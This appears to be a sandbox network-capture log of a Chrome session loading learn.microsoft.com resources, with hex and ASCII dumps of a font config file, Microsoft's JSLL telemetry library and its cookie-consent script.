2024-12-04 15:11:20 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=222400 Date: Wed, 04 Dec 2024 15:11:20 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-04 15:11:20 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.12	49748	13.107.246.63	443	4044	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:20 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-04 15:11:20 UTC	889	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:11:20 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241204T151120Z-1746fd949bd4w8sthC1EWR7004000000017g00000000108k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:11:20 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-12-04 15:11:21 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-12-04 15:11:21 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-12-04 15:11:21 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-12-04 15:11:21 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-12-04 15:11:21 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-12-04 15:11:21 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-12-04 15:11:21 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-12-04 15:11:21 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-12-04 15:11:21 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.12	49750	13.107.246.43	443	4044	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:20 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-04 15:11:20 UTC	713	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:11:20 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 29146 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 05f3d858-101e-00f3-571a-468ad4000000 x-ms-version: 2009-09-19 x-azure-ref: 20241204T151120Z-1746fd949bd6zq92hC1EWRry4800000001a000000000fubv Accept-Ranges: bytes
2024-12-04 15:11:20 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-12-04 15:11:21 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-12-04 15:11:21 UTC	16384	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-12-04 15:11:21 UTC	712	IN	Data Raw: 65 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 Data Ascii: ementById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEvent
2024-12-04 15:11:21 UTC	3566	IN	Data Raw: 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 Data Ascii: "-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChang

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.12	49754	13.107.246.43	443	4044	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:23 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-04 15:11:23 UTC	713	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:11:23 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 29149 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 05f3d858-101e-00f3-571a-468ad4000000 x-ms-version: 2009-09-19 x-azure-ref: 20241204T151123Z-1746fd949bd4w8sthC1EWR7004000000010g00000000n2zu Accept-Ranges: bytes
